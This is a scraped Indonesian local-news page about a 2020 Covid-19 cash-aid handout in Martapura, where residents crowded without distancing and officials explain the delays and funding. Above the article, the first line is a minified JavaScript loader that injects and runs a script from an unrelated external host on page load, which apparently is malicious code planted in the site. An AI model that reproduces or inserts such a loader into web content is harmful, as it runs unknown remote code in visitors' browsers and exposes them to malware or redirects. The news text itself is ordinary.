(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Abai Jaga Jarak, Warga Berkerumun Ambil BLT di Kantor Kecamatan Martapura


KANALKALIMANTAN.COM, MARTAPURA
Penyaluran Bantuan Langsung Tunai (BLT) disalurkan Kecamatan Martapura kepada warga terdampak Covid-19, Senin (20/7/2020). Dana bantuan langsung tunai ini berasal dari Pemerintah Kabupaten Banjar dan Pemerintah Provinsi Kalimantan Selatan, kelanjutan dari pembagian sembako yang diganti uang tunai sebesar Rp200 ribu.

Penyaluran bantuan langsung tunai kali ini bertempat di Aula Kecamatan Martapura, dalam rangka menanggulangai jaring pengaman masalah sosial imbas Covid-19.

Penyularan BLT disalurkan kepada warga desa Indrasari dan desa Labuan Tabu kepada sekitar 1.500 jiwa.

Pantuan Kanalkalimantan.com, di lokasi pukul 08.00 Wita, warga dari dua desa tersebut sudah mulai memadati aula kantor Kecamatan Martapura. Sayangnya masih banyak warga yang abai alias tak mematuhi protokol kesehatan seperti menjaga jarak.


Sedangkan, acara pembagian bantuan langsung tunai dimulai pukul 09.00 Wita.

Camat Martapura Kota Anto Setyawan mengatakan, untuk undangan diminta hadir pada pukul 09.00 Wita, tetapi desa mengundang warga pukul 08.00.
“Kendala kita hari ini proses pengambilan uang belum siap, karena di bank pun baru buka pukul 08.30, ya sekitar pukul 10.20 acara pembagian baru bisa dimulai,” ucapnya.

Pihaknya juga menyayangkan masih banyak warga yang belum mengerti protokol kesehatan seperti adanya kerumunan dan berdesak-desakan tanpa mengatur jarak. “Mungkin pembagian tahap kedua nanti harus lebih tertib lagi, ini pengalaman pertama dari mereka untuk mendapat bantuan ini antusias sangat tinggi,” katanya.

Dalam pembagian kali ini, turut berhadir juga Kepala Dinas Sosial Kabupaten Banjar Ahmadi. Dalam pembukaan acara Ahmadi menyampaikan, BLT ini dari Pemerintah Provinsi Kalsel dan Pemerintah Kabupaten Banjar.

“Jadi bansos ini ada enam sumber yaitu dari kemensos ada empat, dari kabupaten ada satu, dan dari desa satu, untuk dana yang kita ambil hari ini ada Rp 2 miliar,” ucapnya.

“Untuk Martapura Kota khususnya ada Rp 2 miliar, walaupun yang dibagi hanya R 200 ribu, tapi orangnya banyak,” papar Ahmadi. (kanalkalimantan.com/wahyu)

Reporter : Wahyu
Editor : Bie


Desy Arfianty

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

9 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

10 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

10 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

12 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

13 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

13 jam ago

This website uses cookies.